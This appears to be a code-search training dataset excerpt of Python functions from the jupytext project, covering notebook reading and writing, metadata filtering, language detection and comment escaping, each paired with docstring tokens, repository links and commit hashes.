def unesc(line, language): """Uncomment once a commented line""" comment = _COMMENT[language] if line.startswith(comment + ' '): return line[len(comment) + 1:] if line.startswith(comment): return line[len(comment):] return line
[ "Uncomment", "once", "a", "commented", "line" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L58-L65
[ "def", "unesc", "(", "line", ",", "language", ")", ":", "comment", "=", "_COMMENT", "[", "language", "]", "if", "line", ".", "startswith", "(", "comment", "+", "' '", ")", ":", "return", "line", "[", "len", "(", "comment", ")", "+", "1", ":", "]", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
escape_code_start
Escape code start with '#
jupytext/magics.py
def escape_code_start(source, ext, language='python'): """Escape code start with '# '""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +...
def escape_code_start(source, ext, language='python'): """Escape code start with '# '""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +...
[ "Escape", "code", "start", "with", "#" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L91-L98
[ "def", "escape_code_start", "(", "source", ",", "ext", ",", "language", "=", "'python'", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "for", "pos", ",", "line", "in", "enumerate", "(", "source", ")", ":", "if", "not", "parser", ".", "...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
unescape_code_start
Unescape code start
jupytext/magics.py
def unescape_code_start(source, ext, language='python'): """Unescape code start""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): unescaped = unesc(line, language) # don't remove comment char...
def unescape_code_start(source, ext, language='python'): """Unescape code start""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): unescaped = unesc(line, language) # don't remove comment char...
[ "Unescape", "code", "start" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L101-L111
[ "def", "unescape_code_start", "(", "source", ",", "ext", ",", "language", "=", "'python'", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "for", "pos", ",", "line", "in", "enumerate", "(", "source", ")", ":", "if", "not", "parser", ".", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
metadata_filter_as_dict
Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all
jupytext/metadata_filter.py
def metadata_filter_as_dict(metadata_config): """Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all'""" if metadata_config is None: return {} ...
def metadata_filter_as_dict(metadata_config): """Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all'""" if metadata_config is None: return {} ...
[ "Return", "the", "metadata", "filter", "represented", "as", "either", "None", "(", "no", "filter", ")", "or", "a", "dictionary", "with", "at", "most", "two", "keys", ":", "additional", "and", "excluded", "which", "contain", "either", "a", "list", "of", "me...
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L6-L43
[ "def", "metadata_filter_as_dict", "(", "metadata_config", ")", ":", "if", "metadata_config", "is", "None", ":", "return", "{", "}", "if", "metadata_config", "is", "True", ":", "return", "{", "'additional'", ":", "'all'", "}", "if", "metadata_config", "is", "Fa...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
metadata_filter_as_string
Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string
jupytext/metadata_filter.py
def metadata_filter_as_string(metadata_filter): """Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string""" if not isinstance(metadata_filter, dict): return metadata_filter additional = metadata_filter.get('additional', []) if additional == 'all': ...
def metadata_filter_as_string(metadata_filter): """Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string""" if not isinstance(metadata_filter, dict): return metadata_filter additional = metadata_filter.get('additional', []) if additional == 'all': ...
[ "Convert", "a", "filter", "represented", "as", "a", "dictionary", "with", "additional", "and", "excluded", "entries", "to", "a", "string" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L46-L63
[ "def", "metadata_filter_as_string", "(", "metadata_filter", ")", ":", "if", "not", "isinstance", "(", "metadata_filter", ",", "dict", ")", ":", "return", "metadata_filter", "additional", "=", "metadata_filter", ".", "get", "(", "'additional'", ",", "[", "]", ")"...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
update_metadata_filters
Update or set the notebook and cell metadata filters
jupytext/metadata_filter.py
def update_metadata_filters(metadata, jupyter_md, cell_metadata): """Update or set the notebook and cell metadata filters""" cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']] if 'cell_metadata_filter' in metadata.get('jupytext', {}): metadata_filter = metadata_filte...
def update_metadata_filters(metadata, jupyter_md, cell_metadata): """Update or set the notebook and cell metadata filters""" cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']] if 'cell_metadata_filter' in metadata.get('jupytext', {}): metadata_filter = metadata_filte...
[ "Update", "or", "set", "the", "notebook", "and", "cell", "metadata", "filters" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L66-L86
[ "def", "update_metadata_filters", "(", "metadata", ",", "jupyter_md", ",", "cell_metadata", ")", ":", "cell_metadata", "=", "[", "m", "for", "m", "in", "cell_metadata", "if", "m", "not", "in", "[", "'language'", ",", "'magic_args'", "]", "]", "if", "'cell_me...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
apply_metadata_filters
Apply the filter and replace 'all' with the actual or filtered keys
jupytext/metadata_filter.py
def apply_metadata_filters(user_filter, default_filter, actual_keys): """Apply the filter and replace 'all' with the actual or filtered keys""" default_filter = metadata_filter_as_dict(default_filter) or {} user_filter = metadata_filter_as_dict(user_filter) or {} for key in ['additional', 'excluded']:...
def apply_metadata_filters(user_filter, default_filter, actual_keys): """Apply the filter and replace 'all' with the actual or filtered keys""" default_filter = metadata_filter_as_dict(default_filter) or {} user_filter = metadata_filter_as_dict(user_filter) or {} for key in ['additional', 'excluded']:...
[ "Apply", "the", "filter", "and", "replace", "all", "with", "the", "actual", "or", "filtered", "keys" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L89-L119
[ "def", "apply_metadata_filters", "(", "user_filter", ",", "default_filter", ",", "actual_keys", ")", ":", "default_filter", "=", "metadata_filter_as_dict", "(", "default_filter", ")", "or", "{", "}", "user_filter", "=", "metadata_filter_as_dict", "(", "user_filter", "...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
filter_metadata
Filter the cell or notebook metadata, according to the user preference
jupytext/metadata_filter.py
def filter_metadata(metadata, user_filter, default_filter): """Filter the cell or notebook metadata, according to the user preference""" actual_keys = set(metadata.keys()) keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys) for key in actual_keys: if key not in keep_key...
def filter_metadata(metadata, user_filter, default_filter): """Filter the cell or notebook metadata, according to the user preference""" actual_keys = set(metadata.keys()) keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys) for key in actual_keys: if key not in keep_key...
[ "Filter", "the", "cell", "or", "notebook", "metadata", "according", "to", "the", "user", "preference" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L122-L131
[ "def", "filter_metadata", "(", "metadata", ",", "user_filter", ",", "default_filter", ")", ":", "actual_keys", "=", "set", "(", "metadata", ".", "keys", "(", ")", ")", "keep_keys", "=", "apply_metadata_filters", "(", "user_filter", ",", "default_filter", ",", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
default_language_from_metadata_and_ext
Return the default language given the notebook metadata, and a file extension
jupytext/languages.py
def default_language_from_metadata_and_ext(metadata, ext): """Return the default language given the notebook metadata, and a file extension""" default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python') language = (metadata.get('jupytext', {}).get('main_language') or metada...
def default_language_from_metadata_and_ext(metadata, ext): """Return the default language given the notebook metadata, and a file extension""" default_from_ext = _SCRIPT_EXTENSIONS.get(ext, {}).get('language', 'python') language = (metadata.get('jupytext', {}).get('main_language') or metada...
[ "Return", "the", "default", "language", "given", "the", "notebook", "metadata", "and", "a", "file", "extension" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L22-L33
[ "def", "default_language_from_metadata_and_ext", "(", "metadata", ",", "ext", ")", ":", "default_from_ext", "=", "_SCRIPT_EXTENSIONS", ".", "get", "(", "ext", ",", "{", "}", ")", ".", "get", "(", "'language'", ",", "'python'", ")", "language", "=", "(", "met...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
set_main_and_cell_language
Set main language for the given collection of cells, and use magics for cells that use other languages
jupytext/languages.py
def set_main_and_cell_language(metadata, cells, ext): """Set main language for the given collection of cells, and use magics for cells that use other languages""" main_language = (metadata.get('kernelspec', {}).get('language') or metadata.get('jupytext', {}).get('main_language') or ...
def set_main_and_cell_language(metadata, cells, ext): """Set main language for the given collection of cells, and use magics for cells that use other languages""" main_language = (metadata.get('kernelspec', {}).get('language') or metadata.get('jupytext', {}).get('main_language') or ...
[ "Set", "main", "language", "for", "the", "given", "collection", "of", "cells", "and", "use", "magics", "for", "cells", "that", "use", "other", "languages" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L36-L65
[ "def", "set_main_and_cell_language", "(", "metadata", ",", "cells", ",", "ext", ")", ":", "main_language", "=", "(", "metadata", ".", "get", "(", "'kernelspec'", ",", "{", "}", ")", ".", "get", "(", "'language'", ")", "or", "metadata", ".", "get", "(", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
cell_language
Return cell language and language options, if any
jupytext/languages.py
def cell_language(source): """Return cell language and language options, if any""" if source: line = source[0] if line.startswith('%%'): magic = line[2:] if ' ' in magic: lang, magic_args = magic.split(' ', 1) else: lang = magic...
def cell_language(source): """Return cell language and language options, if any""" if source: line = source[0] if line.startswith('%%'): magic = line[2:] if ' ' in magic: lang, magic_args = magic.split(' ', 1) else: lang = magic...
[ "Return", "cell", "language", "and", "language", "options", "if", "any" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L68-L84
[ "def", "cell_language", "(", "source", ")", ":", "if", "source", ":", "line", "=", "source", "[", "0", "]", "if", "line", ".", "startswith", "(", "'%%'", ")", ":", "magic", "=", "line", "[", "2", ":", "]", "if", "' '", "in", "magic", ":", "lang",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
comment_lines
Return commented lines
jupytext/languages.py
def comment_lines(lines, prefix): """Return commented lines""" if not prefix: return lines return [prefix + ' ' + line if line else prefix for line in lines]
def comment_lines(lines, prefix): """Return commented lines""" if not prefix: return lines return [prefix + ' ' + line if line else prefix for line in lines]
[ "Return", "commented", "lines" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/languages.py#L87-L91
[ "def", "comment_lines", "(", "lines", ",", "prefix", ")", ":", "if", "not", "prefix", ":", "return", "lines", "return", "[", "prefix", "+", "' '", "+", "line", "if", "line", "else", "prefix", "for", "line", "in", "lines", "]" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
StringParser.read_line
Read a new line
jupytext/stringparser.py
def read_line(self, line): """Read a new line""" if self.ignore: return for i, char in enumerate(line): if char not in ['"', "'"]: continue # Is the char escaped? if line[i - 1:i] == '\\': continue if s...
def read_line(self, line): """Read a new line""" if self.ignore: return for i, char in enumerate(line): if char not in ['"', "'"]: continue # Is the char escaped? if line[i - 1:i] == '\\': continue if s...
[ "Read", "a", "new", "line" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/stringparser.py#L21-L55
[ "def", "read_line", "(", "self", ",", "line", ")", ":", "if", "self", ".", "ignore", ":", "return", "for", "i", ",", "char", "in", "enumerate", "(", "line", ")", ":", "if", "char", "not", "in", "[", "'\"'", ",", "\"'\"", "]", ":", "continue", "# ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
filled_hist
Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array giving the left edges of each bin and the right edge of the last bin. values : array A l...
demo/Matplotlib example.py
def filled_hist(ax, edges, values, bottoms=None, orientation='v', **kwargs): """ Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array givi...
def filled_hist(ax, edges, values, bottoms=None, orientation='v', **kwargs): """ Draw a histogram as a stepped patch. Extra kwargs are passed through to `fill_between` Parameters ---------- ax : Axes The axes to plot to edges : array A length n+1 array givi...
[ "Draw", "a", "histogram", "as", "a", "stepped", "patch", "." ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L23-L81
[ "def", "filled_hist", "(", "ax", ",", "edges", ",", "values", ",", "bottoms", "=", "None", ",", "orientation", "=", "'v'", ",", "*", "*", "kwargs", ")", ":", "print", "(", "orientation", ")", "if", "orientation", "not", "in", "set", "(", "'hv'", ")",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
stack_hist
ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated over to compute histograms row-wise sty_cycle : Cycler or operable of dict Style to apply to each set bottoms : array, optional T...
demo/Matplotlib example.py
def stack_hist(ax, stacked_data, sty_cycle, bottoms=None, hist_func=None, labels=None, plot_func=None, plot_kwargs=None): """ ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated...
def stack_hist(ax, stacked_data, sty_cycle, bottoms=None, hist_func=None, labels=None, plot_func=None, plot_kwargs=None): """ ax : axes.Axes The axes to add artists too stacked_data : array or Mapping A (N, M) shaped array. The first dimension will be iterated...
[ "ax", ":", "axes", ".", "Axes", "The", "axes", "to", "add", "artists", "too" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/demo/Matplotlib example.py#L84-L178
[ "def", "stack_hist", "(", "ax", ",", "stacked_data", ",", "sty_cycle", ",", "bottoms", "=", "None", ",", "hist_func", "=", "None", ",", "labels", "=", "None", ",", "plot_func", "=", "None", ",", "plot_kwargs", "=", "None", ")", ":", "# deal with default bi...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
load_jupyter_server_extension
Use Jupytext's contents manager
jupytext/__init__.py
def load_jupyter_server_extension(app): # pragma: no cover """Use Jupytext's contents manager""" if isinstance(app.contents_manager_class, TextFileContentsManager): app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is " "(a subclass of) jupytext.TextFileC...
def load_jupyter_server_extension(app): # pragma: no cover """Use Jupytext's contents manager""" if isinstance(app.contents_manager_class, TextFileContentsManager): app.log.info("[Jupytext Server Extension] NotebookApp.contents_manager_class is " "(a subclass of) jupytext.TextFileC...
[ "Use", "Jupytext", "s", "contents", "manager" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/__init__.py#L18-L55
[ "def", "load_jupyter_server_extension", "(", "app", ")", ":", "# pragma: no cover", "if", "isinstance", "(", "app", ".", "contents_manager_class", ",", "TextFileContentsManager", ")", ":", "app", ".", "log", ".", "info", "(", "\"[Jupytext Server Extension] NotebookApp.c...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
reads
Read a notebook from a string
jupytext/jupytext.py
def reads(text, fmt, as_version=4, **kwargs): """Read a notebook from a string""" fmt = copy(fmt) fmt = long_form_one_format(fmt) ext = fmt['extension'] if ext == '.ipynb': return nbformat.reads(text, as_version, **kwargs) format_name = read_format_from_metadata(text, ext) or fmt.get('...
def reads(text, fmt, as_version=4, **kwargs): """Read a notebook from a string""" fmt = copy(fmt) fmt = long_form_one_format(fmt) ext = fmt['extension'] if ext == '.ipynb': return nbformat.reads(text, as_version, **kwargs) format_name = read_format_from_metadata(text, ext) or fmt.get('...
[ "Read", "a", "notebook", "from", "a", "string" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L181-L209
[ "def", "reads", "(", "text", ",", "fmt", ",", "as_version", "=", "4", ",", "*", "*", "kwargs", ")", ":", "fmt", "=", "copy", "(", "fmt", ")", "fmt", "=", "long_form_one_format", "(", "fmt", ")", "ext", "=", "fmt", "[", "'extension'", "]", "if", "...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
read
Read a notebook from a file
jupytext/jupytext.py
def read(file_or_stream, fmt, as_version=4, **kwargs): """Read a notebook from a file""" fmt = long_form_one_format(fmt) if fmt['extension'] == '.ipynb': notebook = nbformat.read(file_or_stream, as_version, **kwargs) rearrange_jupytext_metadata(notebook.metadata) return notebook ...
def read(file_or_stream, fmt, as_version=4, **kwargs): """Read a notebook from a file""" fmt = long_form_one_format(fmt) if fmt['extension'] == '.ipynb': notebook = nbformat.read(file_or_stream, as_version, **kwargs) rearrange_jupytext_metadata(notebook.metadata) return notebook ...
[ "Read", "a", "notebook", "from", "a", "file" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L212-L220
[ "def", "read", "(", "file_or_stream", ",", "fmt", ",", "as_version", "=", "4", ",", "*", "*", "kwargs", ")", ":", "fmt", "=", "long_form_one_format", "(", "fmt", ")", "if", "fmt", "[", "'extension'", "]", "==", "'.ipynb'", ":", "notebook", "=", "nbform...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
readf
Read a notebook from the file with given name
jupytext/jupytext.py
def readf(nb_file, fmt=None): """Read a notebook from the file with given name""" if nb_file == '-': text = sys.stdin.read() fmt = fmt or divine_format(text) return reads(text, fmt) _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt.update({'extension': ext}) w...
def readf(nb_file, fmt=None): """Read a notebook from the file with given name""" if nb_file == '-': text = sys.stdin.read() fmt = fmt or divine_format(text) return reads(text, fmt) _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt.update({'extension': ext}) w...
[ "Read", "a", "notebook", "from", "the", "file", "with", "given", "name" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L223-L234
[ "def", "readf", "(", "nb_file", ",", "fmt", "=", "None", ")", ":", "if", "nb_file", "==", "'-'", ":", "text", "=", "sys", ".", "stdin", ".", "read", "(", ")", "fmt", "=", "fmt", "or", "divine_format", "(", "text", ")", "return", "reads", "(", "te...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
writes
Write a notebook to a string
jupytext/jupytext.py
def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a string""" metadata = deepcopy(notebook.metadata) rearrange_jupytext_metadata(metadata) fmt = copy(fmt) fmt = long_form_one_format(fmt, metadata) ext = fmt['extension'] format_name = fmt.get('format_nam...
def writes(notebook, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a string""" metadata = deepcopy(notebook.metadata) rearrange_jupytext_metadata(metadata) fmt = copy(fmt) fmt = long_form_one_format(fmt, metadata) ext = fmt['extension'] format_name = fmt.get('format_nam...
[ "Write", "a", "notebook", "to", "a", "string" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L237-L263
[ "def", "writes", "(", "notebook", ",", "fmt", ",", "version", "=", "nbformat", ".", "NO_CONVERT", ",", "*", "*", "kwargs", ")", ":", "metadata", "=", "deepcopy", "(", "notebook", ".", "metadata", ")", "rearrange_jupytext_metadata", "(", "metadata", ")", "f...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
write
Write a notebook to a file
jupytext/jupytext.py
def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a file""" # Python 2 compatibility text = u'' + writes(notebook, fmt, version, **kwargs) file_or_stream.write(text) # Add final newline #165 if not text.endswith(u'\n'): file_or_stream...
def write(notebook, file_or_stream, fmt, version=nbformat.NO_CONVERT, **kwargs): """Write a notebook to a file""" # Python 2 compatibility text = u'' + writes(notebook, fmt, version, **kwargs) file_or_stream.write(text) # Add final newline #165 if not text.endswith(u'\n'): file_or_stream...
[ "Write", "a", "notebook", "to", "a", "file" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L266-L273
[ "def", "write", "(", "notebook", ",", "file_or_stream", ",", "fmt", ",", "version", "=", "nbformat", ".", "NO_CONVERT", ",", "*", "*", "kwargs", ")", ":", "# Python 2 compatibility", "text", "=", "u''", "+", "writes", "(", "notebook", ",", "fmt", ",", "v...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
writef
Write a notebook to the file with given name
jupytext/jupytext.py
def writef(notebook, nb_file, fmt=None): """Write a notebook to the file with given name""" if nb_file == '-': write(notebook, sys.stdout, fmt) return _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt = long_form_one_format(fmt, update={'extension': ext}) create_pref...
def writef(notebook, nb_file, fmt=None): """Write a notebook to the file with given name""" if nb_file == '-': write(notebook, sys.stdout, fmt) return _, ext = os.path.splitext(nb_file) fmt = copy(fmt or {}) fmt = long_form_one_format(fmt, update={'extension': ext}) create_pref...
[ "Write", "a", "notebook", "to", "the", "file", "with", "given", "name" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L276-L289
[ "def", "writef", "(", "notebook", ",", "nb_file", ",", "fmt", "=", "None", ")", ":", "if", "nb_file", "==", "'-'", ":", "write", "(", "notebook", ",", "sys", ".", "stdout", ",", "fmt", ")", "return", "_", ",", "ext", "=", "os", ".", "path", ".", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
create_prefix_dir
Create directory if fmt has a prefix
jupytext/jupytext.py
def create_prefix_dir(nb_file, fmt): """Create directory if fmt has a prefix""" if 'prefix' in fmt: nb_dir = os.path.dirname(nb_file) + os.path.sep if not os.path.isdir(nb_dir): logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir) os.makedirs(n...
def create_prefix_dir(nb_file, fmt): """Create directory if fmt has a prefix""" if 'prefix' in fmt: nb_dir = os.path.dirname(nb_file) + os.path.sep if not os.path.isdir(nb_dir): logging.log(logging.WARNING, "[jupytext] creating missing directory %s", nb_dir) os.makedirs(n...
[ "Create", "directory", "if", "fmt", "has", "a", "prefix" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L292-L298
[ "def", "create_prefix_dir", "(", "nb_file", ",", "fmt", ")", ":", "if", "'prefix'", "in", "fmt", ":", "nb_dir", "=", "os", ".", "path", ".", "dirname", "(", "nb_file", ")", "+", "os", ".", "path", ".", "sep", "if", "not", "os", ".", "path", ".", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
TextNotebookConverter.update_fmt_with_notebook_options
Update format options with the values in the notebook metadata, and record those options in the notebook metadata
jupytext/jupytext.py
def update_fmt_with_notebook_options(self, metadata): """Update format options with the values in the notebook metadata, and record those options in the notebook metadata""" # format options in notebook have precedence over that in fmt for opt in _VALID_FORMAT_OPTIONS: if opt...
def update_fmt_with_notebook_options(self, metadata): """Update format options with the values in the notebook metadata, and record those options in the notebook metadata""" # format options in notebook have precedence over that in fmt for opt in _VALID_FORMAT_OPTIONS: if opt...
[ "Update", "format", "options", "with", "the", "values", "in", "the", "notebook", "metadata", "and", "record", "those", "options", "in", "the", "notebook", "metadata" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L31-L43
[ "def", "update_fmt_with_notebook_options", "(", "self", ",", "metadata", ")", ":", "# format options in notebook have precedence over that in fmt", "for", "opt", "in", "_VALID_FORMAT_OPTIONS", ":", "if", "opt", "in", "metadata", ".", "get", "(", "'jupytext'", ",", "{", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
TextNotebookConverter.reads
Read a notebook represented as text
jupytext/jupytext.py
def reads(self, s, **_): """Read a notebook represented as text""" if self.fmt.get('format_name') == 'pandoc': return md_to_notebook(s) lines = s.splitlines() cells = [] metadata, jupyter_md, header_cell, pos = header_to_metadata_and_cell(lines, ...
def reads(self, s, **_): """Read a notebook represented as text""" if self.fmt.get('format_name') == 'pandoc': return md_to_notebook(s) lines = s.splitlines() cells = [] metadata, jupyter_md, header_cell, pos = header_to_metadata_and_cell(lines, ...
[ "Read", "a", "notebook", "represented", "as", "text" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L45-L90
[ "def", "reads", "(", "self", ",", "s", ",", "*", "*", "_", ")", ":", "if", "self", ".", "fmt", ".", "get", "(", "'format_name'", ")", "==", "'pandoc'", ":", "return", "md_to_notebook", "(", "s", ")", "lines", "=", "s", ".", "splitlines", "(", ")"...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
TextNotebookConverter.writes
Return the text representation of the notebook
jupytext/jupytext.py
def writes(self, nb, metadata=None, **kwargs): """Return the text representation of the notebook""" if self.fmt.get('format_name') == 'pandoc': metadata = insert_jupytext_info_and_filter_metadata(metadata, self.ext, self.implementation) cells = [] for cell in nb.cell...
def writes(self, nb, metadata=None, **kwargs): """Return the text representation of the notebook""" if self.fmt.get('format_name') == 'pandoc': metadata = insert_jupytext_info_and_filter_metadata(metadata, self.ext, self.implementation) cells = [] for cell in nb.cell...
[ "Return", "the", "text", "representation", "of", "the", "notebook" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/jupytext.py#L92-L178
[ "def", "writes", "(", "self", ",", "nb", ",", "metadata", "=", "None", ",", "*", "*", "kwargs", ")", ":", "if", "self", ".", "fmt", ".", "get", "(", "'format_name'", ")", "==", "'pandoc'", ":", "metadata", "=", "insert_jupytext_info_and_filter_metadata", ...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
uncomment_line
Remove prefix (and space) from line
jupytext/header.py
def uncomment_line(line, prefix): """Remove prefix (and space) from line""" if not prefix: return line if line.startswith(prefix + ' '): return line[len(prefix) + 1:] if line.startswith(prefix): return line[len(prefix):] return line
def uncomment_line(line, prefix): """Remove prefix (and space) from line""" if not prefix: return line if line.startswith(prefix + ' '): return line[len(prefix) + 1:] if line.startswith(prefix): return line[len(prefix):] return line
[ "Remove", "prefix", "(", "and", "space", ")", "from", "line" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L40-L48
[ "def", "uncomment_line", "(", "line", ",", "prefix", ")", ":", "if", "not", "prefix", ":", "return", "line", "if", "line", ".", "startswith", "(", "prefix", "+", "' '", ")", ":", "return", "line", "[", "len", "(", "prefix", ")", "+", "1", ":", "]",...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
encoding_and_executable
Return encoding and executable lines for a notebook, if applicable
jupytext/header.py
def encoding_and_executable(notebook, metadata, ext): """Return encoding and executable lines for a notebook, if applicable""" lines = [] comment = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment') jupytext_metadata = metadata.get('jupytext', {}) if ext not in ['.Rmd', '.md'] and 'executable' in jupyt...
def encoding_and_executable(notebook, metadata, ext): """Return encoding and executable lines for a notebook, if applicable""" lines = [] comment = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment') jupytext_metadata = metadata.get('jupytext', {}) if ext not in ['.Rmd', '.md'] and 'executable' in jupyt...
[ "Return", "encoding", "and", "executable", "lines", "for", "a", "notebook", "if", "applicable" ]
mwouts/jupytext
python
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/header.py#L51-L70
[ "def", "encoding_and_executable", "(", "notebook", ",", "metadata", ",", "ext", ")", ":", "lines", "=", "[", "]", "comment", "=", "_SCRIPT_EXTENSIONS", ".", "get", "(", "ext", ",", "{", "}", ")", ".", "get", "(", "'comment'", ")", "jupytext_metadata", "=...
eb7d6aee889f80ad779cfc53441c648f0db9246d
train
insert_jupytext_info_and_filter_metadata
Update the notebook metadata to include Jupytext information, and filter the notebook metadata according to the default or user filter
jupytext/header.py
